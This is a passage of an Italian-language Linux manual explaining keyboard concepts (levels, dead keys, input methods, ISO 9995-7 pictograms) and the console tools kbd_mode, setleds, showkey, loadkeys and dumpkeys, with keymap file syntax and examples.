Di norma, su una tastiera reale per elaboratori x86, si associa il modificatore virtuale <*Control*> ai tasti [*Ctrl*] presenti, in modo indifferente, mentre si associa normalmente il modificatore virtuale <*Meta*> al tasto [*Alt*] a sinistra della barra spaziatrice. Tuttavia, certe combinazioni virtuali non si possono ottenere sempre nello stesso modo con la tastiera reale; per esempio, con una tastiera italiana, la combinazione virtuale <*Control_underscore*> potrebbe richiedere la pressione simultanea di [*Ctrl Maiuscole* -] (control, maiuscole, trattino normale), perché il carattere '_' si ottiene in combinazione con il tasto delle maiuscole ([*Maiuscole* -]). D'altra parte, dal momento che non esiste una combinazione virtuale che abbina <*Control*>, con il segno '-', sempre ipotizzando una tastiera italiana, la combinazione virtuale <*Control_underscore*> potrebbe essere comandata da una combinazione reale differente, come potrebbe esserlo [*Ctrl* -], dato che il segno '-' si ottiene sullo stesso tasto reale, ma senza la pressione del tasto delle maiuscole. Tutto questo dipende comunque dalla configurazione della mappa della tastiera, con la quale si associa la pressione dei tasti reali ad azioni appropriate sulla tastiera virtuale del sistema operativo.

Figura 15.23. Porzione di tastiera italiana in cui si vede in particolare il tasto con il quale si ottengono i simboli '-' e '_'.

trattino basso
trattino normale
AltGr
Ctrl

Riquadro 15.24. Notazioni e simbologia.

Nella documentazione tecnica a proposito di programmi per sistemi Unix, si fa spesso riferimento a combinazioni di tasti da premere, secondo una simbologia particolare. Di solito si usano notazioni del tipo '`^`***x***', oppure '`C-`***x***', per rappresentare una cosa che potrebbe essere descritta come «Ctrl+***x***»; così '`M-`***x***', per rappresentare combinazioni del tipo «Meta+***x***». Quello che conta, a parte la simbologia usata, è comprendere che si fa riferimento a «combinazioni virtuali», che nella realtà potrebbero richiedere metodi di inserimento differenti rispetto all'apparenza della simbologia usata.

15.2.1 Livelli

Nelle tastiere fisiche comuni, i tasti a disposizione sono inferiori a quelli che servirebbero, per poter esprimere tutti i segni tipografici richiesti da una certa lingua. Nella macchina da scrivere meccanica si otteneva la duplicazione delle funzioni dei tasti, alzando o abbassando il cesto dei martelli. Per questa ragione, anche oggi si parla di ***livelli***, a proposito del fatto che un tasto consenta di ottenere due o più simboli differenti, combinandolo con un modificatore appropriato.

Nelle tastiere europee comuni si utilizzano almeno tre livelli, dove il secondo livello viene attivato con la pressione del tasto [*Maiuscole*], mentre il terzo livello si ottiene con un tasto alternativo (nel caso delle tastiere per elaboratori x86 si tratta normalmente del tasto [*AltGr*]). Per la disposizione italiana, il terzo livello serve per esempio a ottenere la chiocciola, il cancelletto e le parentesi quadre.

La gestione dei livelli è compito della configurazione della tastiera fisica e si possono ipotizzare anche più di tre livelli, con l'uso di combinazioni più complesse.

Generalmente, il tasto [*Fissamaiuscole*] di una tastiera fisica non interviene su tutta la tastiera, ma solo su una porzione centrale. Questo fatto ha dei vantaggi in fase di digitazione, perché i tasti che non hanno una forma minuscola contrapposta a una maiuscola, non vengono coinvolti. Tuttavia, nelle convenzioni di alcuni paesi europei, il tasto [*Fissamaiuscole*] dovrebbe agire su tutta la porzione alfanumerica, pertanto, in quei casi, capita di avere le cifre numeriche al secondo livello.

Questo comportamento che consiste nell'avere un fissamaiuscole che interviene su tutta la tastiera alfanumerica, si può osservare nella gestione della tastiera di un sistema operativo Dos, in particolare con le mappe per le lingue francese e tedesca. Tali mappe hanno mantenuto una stretta corrispondenza con la tastiera della macchina da scrivere, tanto che lo sblocco del fissamaiuscole si ottiene premendo il tasto [*Maiuscole*].

È bene osservare che in una console GNU/Linux non è possibile configurare il funzionamento del tasto [*Fissamaiuscole*], pertanto la mappa delle tastiere per la lingua francese e per la lingua tedesca non corrispondono esattamente alla tradizione. Tuttavia, è da osservare che anche con X (il sistema grafico) non viene più rispettata la tradizione originale.

15.2.2 Alfabeti non latini

Quando si utilizza una tastiera per un terminale a caratteri, come nel caso della console, è normale che ci si trovi nella necessità di scrivere qualcosa utilizzando l'alfabeto latino, se non altro per impartire dei comandi al sistema operativo. Per questa ragione, se la lingua che si intende usare si basa su un alfabeto non latino (come per il greco e il russo), non si può fare a meno di disporre di una tastiera che consenta di generare ugualmente simboli nell'alfabeto latino.

Nel caso della console di un sistema GNU/Linux, di solito si fa in modo che il tasto che porta al terzo livello ([*AltGr*], o qualunque altra cosa in base alla configurazione della mappa), funzioni come il [*Fissamaiuscole*], ovvero che mantenga lo spostamento al terzo livello fino a quando non lo si ripreme una seconda volta. In questi casi, di solito, i primi due livelli offrono una disposizione dei tasti uguale o simile a quella statunitense, mentre i due livelli successivi servono per l'alfabeto non latino da usare.

Si osservi che l'utilizzo di un alfabeto non latino implica l'uso di una codifica speciale. L'uso della codifica UTF-8 dovrebbe garantire la compatibilità con quella ASCII, ma se si usa ancora

una codifica differente, la configurazione della mappa della tastiera della console di un sistema GNU/Linux deve tenerne conto.

15.2.3 Tasti morti e composizione

Due modi ulteriori per estendere le potenzialità di una tastiera fisica consistono nell'attribuire a una sequenza di tasti il compito di ***comporre*** un carattere unico. Di solito si fa questo per generare delle lettere accentate, digitando prima l'accento e poi la lettera da accentare.

Uno dei due modi consiste nell'avere dei simboli che servono ad accentare la lettera successiva; alla selezione di uno di questi accenti non si ottiene nulla fino alla selezione di un simbolo ulteriore da modificare. In questo caso, il simbolo selezionato inizialmente è un ***tasto morto***, o un accento morto, in quanto da solo non produce nulla.

Un altro modo consiste nell'avere un tasto modificatore, premendo il quale si passa in modalità di composizione. In tale modalità si deve inserire una stringa che in qualche modo deve generare un simbolo appropriato. Di norma, al termine di una sequenza di composizione, la modalità di funzionamento torna a essere quella normale.

Queste modalità di funzionamento della tastiera (tasti morti e composizione) vengono definite attraverso la sua configurazione, ma ovviamente si possono ottenere solo le lettere, accentate o composte, previste espressamente.

15.2.4 Inserimento numerico del codice di un simbolo

Un modo ancora più completo per consentire l'inserimento di simboli che sulla propria tastiera non possono essere previsti, sta nel definire una combinazione che richiede l'inserimento di un numero, con il quale si identifica il punto di codifica del simbolo desiderato (per una definizione del punto di codifica si veda il capitolo 58). Questo metodo di inserimento di simboli insoliti si è diffuso in particolare attraverso il sistema operativo Dos, con il quale era possibile premere il tasto [*Alt*] sinistro e digitare il numero del carattere desiderato con la tastiera numerica.

La convenzione introdotta dal sistema operativo Dos viene mantenuta generalmente anche nella configurazione della tastiera di un sistema GNU/Linux comune, ma si tratta di una funzione che non è sempre presente; per esempio manca quando si usa la grafica con X. A ogni modo, è bene considerare che ci possono essere metodi alternativi di inserimento; per esempio potrebbe essere possibile specificare il numero del punto di codifica anche in esadecimale.

15.2.5 Alfabeti asiatici

Quando una lingua richiede la scrittura attraverso un numero elevato di caratteri (come il cinese), le tastiere comuni, che sono nate per l'alfabeto latino, diventano troppo limitate. In queste condizioni, l'utilizzo dei livelli, dei tasti morti e della composizione, diventa insufficiente o inadatto per poter gestire il volume di simboli che la lingua richiede. Pertanto, in queste situazioni, si utilizza generalmente un programma aggiuntivo, collocato idealmente dopo la tastiera astratta. In pratica, la configurazione della tastiera fisica potrebbe anche essere predisposta secondo la lingua inglese, mentre poi, un programma che si inserisce prima dell'applicazione utilizzata effettivamente consente di selezionare i simboli in base a tecniche alternative.

Il metodo di trasformazione dall'alfabeto latino ai simboli della lingua prescelta, avviene generalmente attraverso una qualche forma di traslitterazione, dove si arriva anche a dare un nome

(utilizzando l'alfabeto latino) al carattere da scrivere. A questo proposito si usa la sigla «IM», *Input method*, che fa spesso parte dei programmi che si occupano di tale compito (per esempio SCIM e Xim).

Figura 15.25. Un esempio si inserimento di un testo in cinese, attraverso un metodo di inserimento intelligente basato sul sistema di traslitterazione pinyin. In questo caso, si vede l'inserimento della parola «mu» (secondo la traslitterazione in caratteri latini), per la quale esistono tante varianti nel modo di rappresentarla. Per scegliere il carattere corretto, dopo l'inserimento del nome, si seleziona il numero corrispondente.

15.2.6 Pittogrammi ISO 9995-7

Lo standard ISO 9995-7 definisce alcuni simboli, ovvero ***pittogrammi***, da usare sulla tastiera per funzionalità comuni, in modo da evitare le descrizioni verbali che possono richiedere una traduzione. La tabella successiva riepiloga alcuni dei simboli in questione. Si osservi che parte dei pittogrammi previsti dallo standard ISO 9995-7 è inserito nell'insieme di caratteri universale; si tratta precisamente dei codici da U+2380 a U+238C, da U+2396 a U+239A e U+2425.

Tabella 15.26. Alcuni pittogrammi ISO 9995-7.

Simbolo	Descrizione	Simbolo	Descrizione
	[*Ins*]		[*Canc*]
	[*Backspace*]		[*Tab*]
	[*Maiuscole*]		passaggio al terzo livello
	[*Fissamaiuscole*]		[*BlocNum*]
	[*Ctrl*]		[*Alt*]
	[*Comp*] inizia una sequenza di composizione		[*Invio*]
	[*Interr*] *break*		[*Pausa*]
	[*Esc*]		[*Inizio*]

Simbolo	Descrizione	Simbolo	Descrizione
	[*Fine*]		[*pagina−su*] pagina precedente
	[*pagina−giù*] pagina successiva		[*Stampa*]
	[*BlocScorr*]		[*Spazio*]
	spazio non separabile		separatore decimale

15.3 Tastiera della console di un sistema GNU/Linux

La gestione della tastiera della console di un sistema GNU/Linux avviene in modo piuttosto complesso. Solitamente si fa riferimento al programma '**`loadkeys`**' come unico responsabile della definizione delle funzioni associate ai tasti, ma questo non basta per comprendere il problema.

I segnali della tastiera vengono ricevuti direttamente dal kernel che poi li fornisce ai programmi, in vario modo, a seconda di una data modalità selezionata. Il programma '**`kbd_mode`**' permette di conoscere o di modificare la modalità di funzionamento della tastiera, ma la modifica è da riservare solo a occasioni particolari, di solito utilizzando una connessione remota, quando un programma ha modificato la modalità della tastiera rendendo inutilizzabile la console.

15.3.1 Tastiera locale e tastiera remota

In generale, ciò che conta è fare in modo che funzioni correttamente **la tastiera connessa al proprio elaboratore**. Questo è importante perché, quando si utilizza una connessione remota, per esempio attraverso il protocollo TELNET, la tastiera che si adopera dipende, per la sua configurazione, dall'elaboratore a cui è connessa fisicamente: non dipende quindi dall'elaboratore al quale si è collegati. Leggendolo così potrebbe sembrare una cosa evidente, ma quando ci si trova a farlo veramente, non lo è più così tanto.

In questo senso, se da una connessione remota viene dato un comando per modificare la modalità di funzionamento o la mappa della tastiera, l'effetto si risente sulla console dell'elaboratore che riceve il comando e non nel terminale remoto.

Queste considerazioni permettono anche di comprendere che la connessione remota è indipendente da qualunque configurazione che riguardi la tastiera di un certo elaboratore. Perciò, una configurazione errata che renda inutilizzabile una console, può essere corretta attraverso una connessione remota.

15.3.2 Console virtuali

Un sistema GNU/Linux, come altri sistemi Unix, consente di gestire diversi terminali sull'unica console esistente effettivamente. Questi vengono definiti ***console virtuali***. Attraverso alcune combinazioni di tasti si riesce a passare da una console virtuale all'altra. Queste combinazioni sono normalmente [*Alt F1*], [*Alt F2*],... oppure [*Ctrl Alt F1*], [*Ctrl Alt F2*],... ma possono essere modificate (anche se ciò non è consigliabile).

La console vera e propria corrisponde quasi sempre alla console virtuale in funzione in un dato momento.

La configurazione della tastiera, a seconda del tipo di modalità su cui si interviene, può avere effetto su tutte le console virtuali, oppure solo su quella attiva.

15.3.3 Controllo della modalità di funzionamento della tastiera con «kbd_mode»

Il programma '**kbd_mode**'[1] permette di conoscere o di modificare la modalità di funzionamento della tastiera della console. Ciò significa, implicitamente, che l'effetto riguarda la console virtuale attiva; pertanto, quando viene utilizzato a distanza, attraverso il protocollo TELNET o un altro metodo di connessione simile, ha effetto sulla console virtuale attiva nell'elaboratore al quale si è connessi.

```
kbd_mode [opzioni]
```

L'utilizzo di questo programma deve essere fatto con prudenza: la visualizzazione della modalità di funzionamento della tastiera non provoca alcun inconveniente, ma la modifica errata della modalità, comporta l'impossibilità di continuare a utilizzarla.

È meglio evitare di utilizzare questo programma per modificare la modalità della tastiera, da una finestra di terminale, all'interno del sistema grafico X.

Tabella 15.27. Alcune opzioni.

Opzione	Descrizione
	Se '**kbd_mode**' viene avviato senza opzioni, il risultato che si ottiene è la visualizzazione della modalità attiva. Ciò dovrebbe corrispondere all'uso normale del programma.
`-s`	L'opzione '**-s**' attiva la modalità *scancode*, o RAW. Questa è la modalità che si osserva normalmente nelle finestre di terminale del sistema grafico X. Questa modalità non può essere utilizzata per le console virtuali normali.
`-k`	L'opzione '**-k**' attiva la modalità *keycode*, o MEDIUMRAW. Questa modalità non può essere utilizzata per le console virtuali normali.
`-a`	L'opzione '**-a**' attiva la modalità ASCII o XLATE. Questa modalità è quella normale quando si utilizzano le console virtuali. Questa modalità fa uso della mappa definita da '**loadkeys**'.
`-u`	L'opzione '**-u**' attiva la modalità UTF-8 o UNICODE. Questa modalità fa uso della mappa definita da '**loadkeys**'.

Se la console di un elaboratore è rimasta bloccata e comunque esiste la possibilità di connettersi a questo da un'altra postazione funzionante, si può ripristinare la modalità corretta della tastiera da lì. Nell'esempio seguente, l'elaboratore da sistemare è *`dinkel.brot.dg`* e quello dal quale si interviene è *`roggen.brot.dg`*.

`roggen.brot.dg$` **`telnet dinkel.brot.dg`** [*Invio*]

```
Trying dinkel.brot.dg...
Connected to dinkel.brot.dg.
Escape character is '^]'.
```

```
login: root [Invio]

Password: ******** [Invio]

dinkel.brot.dg# kbd_mode -a [Invio]

dinkel.brot.dg# exit [Invio]
```

Questo esempio presume che si possieda già una certa conoscenza di come si instaura una connessione remota attraverso un cliente TELNET. L'utente inesperto che dovesse tentare una cosa del genere potrebbe non essere capace di completare l'accesso a causa del fatto che normalmente viene impedito all'utente '**root**' di accedere da una postazione remota, per motivi di sicurezza.

15.3.4 Controllo sullo stato della tastiera con «setleds»

Il programma '**setleds**'[2] interviene esclusivamente su una console virtuale attiva, o meglio, quella da cui proviene lo standard input. Non può essere utilizzato in altre situazioni. Lo scopo del programma è di intervenire sull'impostazione dei tasti [*Fissamaiuscole*] (*capslock*), [*BlocNum*] (*numlock*) e [*BlocScorr*] (*ScrollLock*).

```
setleds [opzioni] [modalità...]
```

Solitamente, questi tasti attivano o disattivano la modalità corrispondente, che viene segnalata anche da una spia luminosa sulla tastiera, una per ogni modalità. Queste spie sono notoriamente dei ***led*** (*Light emitting diode*) e spesso sono chiamati così anche in italiano.

Il programma permette di intervenire sia attivando o disattivando queste modalità, sia accendendo o spegnendo i led.

Tabella 15.29. Alcune opzioni e modalità

Opzione	Descrizione
	Utilizzando il programma senza argomenti, si ottiene il resoconto sull'impostazione dei tasti su cui può intervenire e su quella dei led corrispondenti.
`-F`	L'opzione '**-F**' è quella predefinita, quando vengono indicate solo delle modalità. Con questa, si modifica lo stato corrispondente alle modalità indicate. Se i led non sono impostati indipendentemente, riflettono la nuova situazione.
`-D`	L'opzione '**-D**' è analoga a '**-F**', con la differenza che la nuova impostazione diviene predefinita ed è ciò che si ripresenta a seguito di un ripristino attraverso l'uso del comando '**reset**'.
`-L`	L'opzione '**-L**' fa in modo di intervenire solo sui led. Dal momento in cui si utilizza '**setleds**' con questa opzione, si sgancia il funzionamento dei led dall'uso dei tasti a cui sarebbero abbinati. Per ripristinare il collegamento tra led e tasti, si può utilizzare nuovamente '**setleds**' con l'opzione '**-L**' da sola, senza altri argomenti.
`+num` `-num`	Questa modalità attiva o disattiva [*BlocNum*].

Opzione	Descrizione
`+caps` `-caps`	Questa modalità attiva o disattiva [*Fissamaiuscole*].
`+scroll` `-scroll`	Questa modalità attiva o disattiva [*BlocScorr*].

Segue la descrizione di alcuni esempi.

- `$` **`setleds`** [*Invio*]

  Mostra la configurazione attuale.

- `$` **`setleds +num`** [*Invio*]

  Attiva i numeri nella tastiera numerica.

- `$` **`setleds -L +scroll`** [*Invio*]

  Accende il led '**`BlocScorr`**' (o '**`ScrollLock`**' che sia) senza altro effetto sull'uso della tastiera.

- `$` **`setleds -L`** [*Invio*]

  Ripristina il collegamento tra led e tastiera.

- `#` **`setleds +num < /dev/tty1`** [*Invio*]

  Attiva i numeri nella tastiera numerica della prima console virtuale.

15.3.5 Mappa della tastiera

Il primo problema che si incontra dal punto di vista dell'internazionalizzazione di un sistema operativo, è la disposizione dei tasti sulla tastiera. Quando la tastiera viene utilizzata in modalità ASCII o Unicode, il kernel utilizza una tabella di conversione prima di trasmettere alle applicazioni i tasti premuti.

In fase di compilazione del kernel viene definita una tabella di partenza attraverso il file '***sorgenti_linux***`/driver/char/defkeymap.c`'. Normalmente questo file corrisponde alla mappa della tastiera statunitense, ma può anche essere cambiato come viene mostrato in seguito.

Di solito, la mappa della tastiera viene ridefinita attraverso il programma '**`loadkeys`**' indicando come argomento il nome di un file contenente la mappa desiderata. I file delle varie mappe disponibili sono contenuti normalmente a partire dalla directory '`/usr/share/keymaps/`'.

Il sistema della mappa della tastiera che si descrive qui e nelle sezioni seguenti, riguarda solo le console virtuali di GNU/Linux e non l'impostazione fatta dal sistema grafico X per i programmi che si avviano al suo interno.

15.3.6 Visualizzazione dei codici dei tasti con «showkey»

Il programma '**showkey**'[3] permette di visualizzare, attraverso lo standard output, il codice corrispondente ai tasti che si premono e si rilasciano. Dal momento che ciò impegna totalmente la tastiera, '**showkey**' conclude il suo funzionamento dopo 10 s di inattività.

```
showkey [opzioni]
```

Questo programma non può funzionare in una finestra di terminale nel sistema grafico X.

Tabella 15.30. Alcune opzioni.

Opzione	Descrizione
`-s` `--scancodes`	Fa in modo che siano mostrati i codici *scancode*. L'utilizzo della tastiera in questa modalità è abbastanza inusuale, quindi è raro che possa essere utile conoscere la corrispondenza della pressione e rilascio dei tasti in tale modalità.
`-k` `--keycode`	Fa in modo che siano mostrati i codici *keycode*. È il funzionamento predefinito, quando non si indicano argomenti di alcun genere. È questa la codifica a cui si fa riferimento quando si costruiscono i file di mappa gestiti da '**loadkeys**'.
`-m` `--keymap`	Mostra la traduzione dei tasti premuti nel codice corrispondente della tastiera virtuale, secondo la configurazione attiva. Si usa normalmente per verificare il funzionamento corretto di una mappa.

Segue la descrizione di alcuni esempi.

- `$ showkey -s` [*Invio*]

  ```
  kb mode was XLATE

  press any key (program terminates after 10s of last keypress)...
  ```

  [*Esc*]

  ```
  0x01 0x81
  ```

  [*Alt*]

  ```
  0x38 0xb8
  ```

  [*AltGr*]

  ```
  0xe0 0x38 0xe0 0xb8
  ```

- `$ showkey -k` [*Invio*]

```
kb mode was XLATE

press any key (program terminates after 10s of last keypress)...
```

[*Esc*]

```
0x01 0x81
```

[*Alt*]

```
0x38 0xb8
```

[*AltGr*]

```
0x64 0xe4
```

- $ **showkey -m** [*Invio*]

```
kb mode was XLATE

press any key (program terminates after 10s of last keypress)...
```

[*Esc*]

```
keycode  27 press
```

[*F1*]

```
keycode  27 press
keycode  91 press
keycode  91 press
keycode  65 press
```

[*F2*]

```
keycode  27 press
keycode  91 press
keycode  91 press
keycode  66 press
```

15.3.7 Caricamento di una mappa con «loadkeys»

Il programma '**`loadkeys`**'[4] viene usato normalmente per cambiare la mappa della tastiera utilizzata in tutte le console virtuali, attraverso le indicazioni contenute in un file fornito come argomento o attraverso lo standard input. Il file fornito come argomento, se non contiene l'indicazione di un percorso, viene cercato a partire dalla directory '`/usr/share/keymaps/`***piattaforma***`/`'.

```
loadkeys [opzioni] [file]
```

È importante considerare che la modifica interviene su tutte le console virtuali; pertanto, se si tenta qualcosa del genere attraverso una connessione remota si interviene sull'elaboratore con il quale si è connessi e non su quello dal quale si sta operando.

Il programma '**loadkeys**' può essere utilizzato anche solo per generare un file sorgente da utilizzare al posto di '***sorgenti_linux***/drivers/char/defkeymap.c' quando si compila un nuovo kernel.

Tabella 15.43. Alcune opzioni.

Opzione	Descrizione
-m --mktable	Emette attraverso lo standard output il contenuto di un file che può essere utilizzato al posto di '***sorgenti_linux***/drivers/char/defkeymap.c' in modo da essere incorporato nel kernel alla prossima compilazione.
-u --unicode	Imposta la modalità Unicode.

Segue la descrizione di alcuni esempi.

- $ **loadkeys /usr/share/keymaps/i386/qwerty/it.kmap** [*Invio*]

  Carica la mappa contenuta nel file '/usr/share/keymaps/i386/qwerty/it.kmap'.

- $ **loadkeys it.kmap** [*Invio*]

  Esattamente come nell'esempio precedente, supponendo di operare su una piattaforma x86.

- $ **loadkeys it** [*Invio*]

  Esattamente come nell'esempio precedente.

- $ **loadkeys -u it** [*Invio*]

  Come nell'esempio precedente, usando però la modalità Unicode.

- $ **loadkeys -m it > drivers/char/defkeymap.c** [*Invio*]

  Genera il file 'drivers/char/defkeymap.c' in base alla mappa '**it.kmap**'.

15.3.8 Analisi della configurazione attuale con «dumpkeys»

Il programma '**dumpkeys**'[5] viene usato normalmente per emettere attraverso lo standard output la mappa attuale della tastiera.

```
dumpkeys [opzioni]
```

Attraverso le opzioni si può controllare la quantità delle informazioni ottenute e il modo in cui queste vengono visualizzate.

Tabella 15.44. Alcune opzioni.

Opzione	Descrizione
`-i` `--short-info`	Emette alcune informazioni essenziali sulla gestione attuale della tastiera.
`-l` `--long-info`	Emette le informazioni relative all'opzione '**`-i`**', assieme ai simboli che possono essere utilizzati.
`-h` `--help`	Emette una piccola guida di utilizzo del programma, aggiungendo in coda l'elenco delle codifiche che si possono usare per la configurazione della tastiera. L'elenco delle codifiche si ottiene precisamente dallo standard error.

Segue la descrizione di alcuni esempi.

* `$` **`dumpkeys -i`** [*Invio*]

```
keycode range supported by kernel:           1 - 255
max number of actions bindable to a key:         256
number of keymaps in actual use:                 8
of which 2 dynamically allocated
ranges of action codes supported by kernel:
        0x0000 - 0x00ff
        0x0100 - 0x01ff
        0x0200 - 0x0213
        0x0300 - 0x0313
        0x0400 - 0x0405
        0x0500 - 0x05ff
        0x0600 - 0x0603
        0x0700 - 0x0708
        0x0800 - 0x08ff
        0x0900 - 0x0919
        0x0a00 - 0x0a07
        0x0b00 - 0x0bff
        0x0c00 - 0x0c07
        0x0d00 - 0x0dff
number of function keys supported by kernel: 256
max nr of compose definitions: 256
nr of compose definitions in actual use: 68
```

* `$` **`dumpkeys -l`** [*Invio*]

```
…
Symbols recognized by dumpkeys:
(numeric value, symbol)

0x0000  nul
```

```
0x0001  Control_a
0x0002  Control_b
…
0x00fe  thorn
0x00ff  ydiaeresis
0x0100  F1
0x0101  F2
…
0x0112  F19
0x0113  F20
0x0114  Find
0x0115  Insert
0x0116  Remove
…
0x01fe  F245
0x01ff  F246
0x0200  VoidSymbol
0x0201  Return
…
0x0404  dead_diaeresis
0x0405  dead_cedilla
0x0500  Console_1
0x0501  Console_2
…
0x0c06  SCtrlL
0x0c07  SCtrlR

The following synonyms are recognized:

Control_h       for BackSpace
Control_i       for Tab
…
Recognized modifier names and their column numbers:
shift             1
altgr             2
control           4
alt               8
shiftl           16
shiftr           32
ctrll            64
ctrlr           128
```

- `$` **`dumpkeys > prova.map`** [*Invio*]

  Crea il file '`prova.map`' contenente la configurazione attuale della tastiera. Il file potrebbe avere l'aspetto seguente:

  `$` **`cat prova.map`** [*Invio*]

```
keymaps 0-2,4,6,8-9,12
keycode   1 = Escape           Escape
        alt     keycode   1 = Meta_Escape
keycode   2 = one              exclam
        alt     keycode   2 = Meta_one
        shift   alt     keycode   2 = Meta_exclam
…
keycode  83 = KP_Period
        altgr   control keycode  83 = Boot
        control alt     keycode  83 = Boot
…
string F1 = "\033[[A"
string F2 = "\033[[B"
string F3 = "\033[[C"
…
compose 't' 'h' to 'þ'
compose 's' 's' to 'ß'
compose '"' 'y' to 'ÿ'
compose 's' 'z' to 'ß'
compose 'i' 'j' to 'ÿ'
```

- $ **dumpkeys | loadkeys --unicode** [*Invio*]

  Riconfigura la tastiera in modo da emettere simboli secondo la codifica UTF-8.

- $ **dumpkeys -h > /dev/null** [*Invio*]

  Visualizza esclusivamente lo standard error, dal quale si ottiene l'elenco delle codifiche disponibili:

```
iso-8859-{1,2,3,4,5,7,8,9,10,15},koi8-{r,u},mazovia,cp-1250,↩
↪iso-10646-18,iso-ir-197,iso-ir-209
```

15.4 Personalizzazione della mappa della tastiera

Per configurare la propria tastiera, in un sistema GNU/Linux, si usa generalmente '**loadkeys**' con file di mappa già predisposti; tuttavia può essere utile comprendere come si realizzano questi file per una propria personalizzazione.

All'interno del file sono ammessi i commenti, prefissati con un punto esclamativo ('**!**') oppure con il simbolo '**#**'; nello stesso modo sono ignorate le righe vuote e quelle bianche. Le righe che definiscono qualcosa possono essere continuate con una barra obliqua inversa ('\') che precede il codice di interruzione di riga.

Possono essere usate diverse definizioni; in particolare quelle descritte nella tabella seguente.

Tabella 15.49. Direttive principali.

Direttiva	Descrizione
`charset "`***codifica***`"`	Questa direttiva definisce l'insieme di caratteri utilizzato; generalmente si tratta di '**`iso-8859-1`**' o di '**`iso-10646-18`**' (nel secondo caso si fa riferimento a Unicode). Quando si tratta della codifica ISO 8859-1, oppure ISO 10646-18, non è nemmeno necessario inserire questo tipo di dichiarazione nei file. Lo scopo di questa direttiva è di evitare ambiguità, quando un carattere può essere rappresentato con codici differenti a seconda della codifica.
`keycode` ***numero_tasto*** `=` ***simbolo*** ***simbolo***...	Questa definizione attribuisce a un tasto diversi significati, in funzione della combinazione eventuale con altri.
`string` ***nome*** `=` ***stringa*** `strings as usual`	Per facilitare la costruzione di un file di mappa del genere, si possono definire alcuni nomi di tasti il cui significato viene chiarito in seguito attraverso questo tipo di dichiarazione. Lo si fa normalmente con i tasti funzionali ([*F1*], [*F2*], ecc.). Al posto della dichiarazione esplicita di queste stringhe, si può usare la seconda forma, che richiama automaticamente tutte quelle predefinite.

`compose '`***x***`' '`***y***`' to '`***z***`'`
 	
`compose as usual for iso-8859-1`
	La direttiva '**`compose`**' consente di stabilire l'uso di accenti morti: il carattere ***x***, da associare a un carattere successivo, ***y***, per generare un carattere composto, ***z***. Utilizzando la seconda forma del modello, si acquisiscono tutte le sequenze predefinite.

A proposito della direttiva '**`charset`**' è bene chiarire che il codice associato ai caratteri è da intendersi come punto di codifica; pertanto, per fare un esempio, non c'è differenza tra il codice generato da una lettera «à» (a minuscola con accento grave) da una codifica ISO 8859-1 a una codifica ISO 10646-18, perché in questa fase non entra in gioco il fatto che nell'adattamento in UTF-8 si utilizzano due byte invece di uno solo.

15.4.1 Modificatori

I modificatori sono quei tasti che si possono usare per ottenere delle combinazioni. La tabella 15.50 ne mostra l'elenco e il ***peso***.

Tabella 15.50. Elenco dei tasti modificatori e del loro peso.

Modificatore	Sigla	peso
(nessuno)		0
Maiuscole (tasto sinistro o destro indifferentemente)	`Shift`	1
Alt destro	`AltGr`	2
Control (tasto sinistro o destro indifferentemente)	`Ctrl`	4
Alt sinistro	`Alt`	8
Maiuscole sinistro	`ShiftL`	16
Maiuscole destro	`ShiftR`	32
Control sinistro	`CtrlL`	64
Control destro	`CtrlR`	128

I modificatori sono otto, a cui si somma la situazione normale in cui nessun modificatore viene utilizzato. Volendo indicare tutte le combinazioni possibili di modificatori, queste sarebbero 255, ma di solito ci si limita a configurarne solo un sottoinsieme.

Attraverso il numero del peso, si può fare riferimento a un modificatore o a una combinazione di modificatori, in modo molto semplice: sommandone i valori. Per esempio, uno rappresenta '**`Shift`**', due rappresenta '**`AltGr`**' e tre rappresenta '**`Shift`**'+'**`AltGr`**'. Si osservi comunque che si sta facendo riferimento a nomi che poi devono essere associati alla tastiera reale: si presume che l'associazione avvenga nel modo «corretto», ma occorre sapere a cosa si sta facendo riferimento. In pratica, nulla vieta di dare la funzione di '**`AltGr`**' a un tasto [*Win*], o [*Menù*].

15.4.2 Specificazione di mappa

Quando si specifica la funzione di un tasto attraverso l'istruzione '**`keycode`**', si indicano delle funzioni in sequenza. Il significato di questa sequenza dipende dai tipi di modificatori e dalle loro combinazioni che si intendono utilizzare. Ciò viene definito attraverso un'istruzione '**`keymaps`**' iniziale.

keymaps ***peso*** [***, peso***] ...

Per esempio, l'istruzione seguente indica l'utilizzo dei pesi 0, 1, 2, 4, 6, 8, 9 e 12:

```
keymaps 0-2,4,6,8-9,12
```

Come si vede nell'esempio, si fa riferimento anche a intervalli, quindi, '**`0-2`**' rappresenta tutti i valori da zero a due, ovvero, zero, uno e due. La stessa cosa avrebbe potuto essere dichiarata in un modo più esplicito come nell'esempio seguente:

```
keymaps 0,1,2,4,6,8,9,12
```

Questi valori indicano che nella mappa definita dalle direttive successive, si fa riferimento ai tasti premuti da soli, in combinazione con i modificatori '**Shift**', '**AltGr**', '**Ctrl**' (indifferentemente sinistro o destro), '**Ctrl**'+'**AltGr**', '**Alt**', '**Alt**'+'**Shift**' e '**Ctrl**'+'**Alt**'. Le istruzioni '**keycode**' successive all'istruzione '**keymaps**' dell'esempio vengono interpretate di conseguenza. L'esempio seguente dovrebbe chiarirlo:

```
keycode 26 = egrave  eacute  bracketleft  Escape  VoidSymbol  Meta_bracketleft
```

In questo caso, premendo il tasto corrispondente alla lettera '**è**', nella tastiera italiana, si ottiene esattamente questa lettera ('**egrave**'). In combinazione con:

- '**Shift**' si ottiene la lettera '**é**';
- '**AltGr**' si ottiene la parentesi quadra aperta (sinistra);
- '**Ctrl**' si ottiene un escape;
- '**Ctrl**'+'**AltGr**' non si ottiene alcunché;
- '**Alt**' si ottiene la funzione <*Meta_braketleft*>.

In tutti i casi rimanenti non si ottiene alcun risultato.

15.4.3 Istruzione «keycode»

L'istruzione '**keycode**' permette di indicare in sequenza il significato di un certo tasto, in funzione dell'eventuale combinazione con i modificatori previsti con l'istruzione '**keymaps**'.

Quando si vuole indicare un'azione nulla, si usa il nome '**VoidSymbol**'; inoltre, ciò che non viene scritto nella parte finale vale come se fosse sempre '**VoidSymbol**'.

Per facilitare l'indicazione del risultato di combinazioni si possono usare dichiarazioni '**keycode**' successive, precedute dai nomi dei modificatori coinvolti, le quali valgono per una singola situazione. L'esempio seguente è identico, per risultato, a quello visto in precedenza; la differenza sta nel fatto che così ci si limita a indicare un'istruzione '**keycode**' normale per le situazioni comuni (tasto premuto da solo, oppure in combinazione con il modificatore '**Shift**', o anche '**AltGr**'), aggiungendo sotto, eventualmente, le altre combinazioni utili.

```
keymaps 0,1,2,4,6,8,9,12
…
keycode  26 = egrave           eacute           bracketleft
        control keycode  26 = Escape
